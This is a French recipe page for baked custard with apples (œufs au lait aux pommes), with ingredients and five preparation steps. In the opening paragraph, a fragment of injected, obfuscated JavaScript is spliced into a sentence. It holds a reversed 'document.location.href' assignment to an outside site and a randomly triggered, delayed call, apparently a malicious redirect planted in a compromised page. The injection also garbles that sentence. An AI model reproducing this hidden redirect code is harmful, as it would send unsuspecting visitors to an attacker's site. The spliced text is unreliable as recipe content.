Œufs au lait avec des pommes

2016-12-19

Dans un récipient battez les œufs en omelette avec le sucre en poudre, la vanille. Versez par petites quantités le lait tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en mélangeant et obtenir une pâte onctueuse et lisse.

Ingrédients

  • Pour 6 personnes
  • 4 pommes golden
  • 1 jus de citron
  • 50 g de beurre
  • 7 œufs entiers
  • 150 g de sucre en poudre
  • 1 litre de lait entier où écrémé
  • 1 cuillère à café de vanille en poudre

Préparation de la recette

Etape 1

Dans un récipient battez les œufs en omelette avec le sucre en poudre, la vanille.

Etape 2

Versez par petites quantités le lait tout en mélangeant et obtenir une pâte onctueuse et lisse.

Etape 3

Pelez, coupez en petits dés les pommes. Les citronner pour éviter l'oxydation. Dans une poêle avec 50 g de beurre, sur feu moyen, faites revenir les pommes jusqu'à obtenir une légère coloration.

Etape 4

Répartissez les pommes dans un moule à manqué beurré. Recouvrez de pâte. Préchauffez le four à 180° C thermostat 6.

Etape 5

Enfournez et faites cuire dans un bain-marie chaud pendant 30 minutes. Vérifiez la cuisson. Sortez les œufs au lait. Laissez refroidir et dégustez frais

 

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